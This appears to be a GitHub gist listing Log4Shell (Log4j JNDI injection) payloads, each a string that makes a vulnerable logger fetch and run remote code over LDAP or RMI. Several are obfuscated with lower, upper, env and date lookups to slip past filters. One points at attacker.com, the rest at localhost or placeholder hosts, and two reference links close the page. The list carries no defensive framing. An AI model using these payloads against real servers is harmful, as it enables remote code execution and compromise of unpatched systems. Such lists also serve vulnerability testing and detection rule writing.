Skip to content

Instantly share code, notes, and snippets.

@cyberheartmi9
Last active December 11, 2021 11:49
Show Gist options
  • Save cyberheartmi9/e17ea653f40e0a1601a487380cbc4e1a to your computer and use it in GitHub Desktop.
Save cyberheartmi9/e17ea653f40e0a1601a487380cbc4e1a to your computer and use it in GitHub Desktop.
${jndi:ldap://attacker.com/a}
/$%7bjndi:ldap:/$%7blower:/%7dx.x.x.x/o=tomcat%7d$%7blower:/%7d/
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://localhost:12345/Exploit}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/ass}
${${::-j}ndi:rmi://127.0.0.1:1389/ass}
${jndi:rmi://a.b.c}
${${lower:jndi}:${lower:rmi}://q.w.e/poc}
${${lower:${lower:jndi}}:${lower:rmi}://a.s.d/poc}
# Resource
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://xz.aliyun.com/t/10649
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment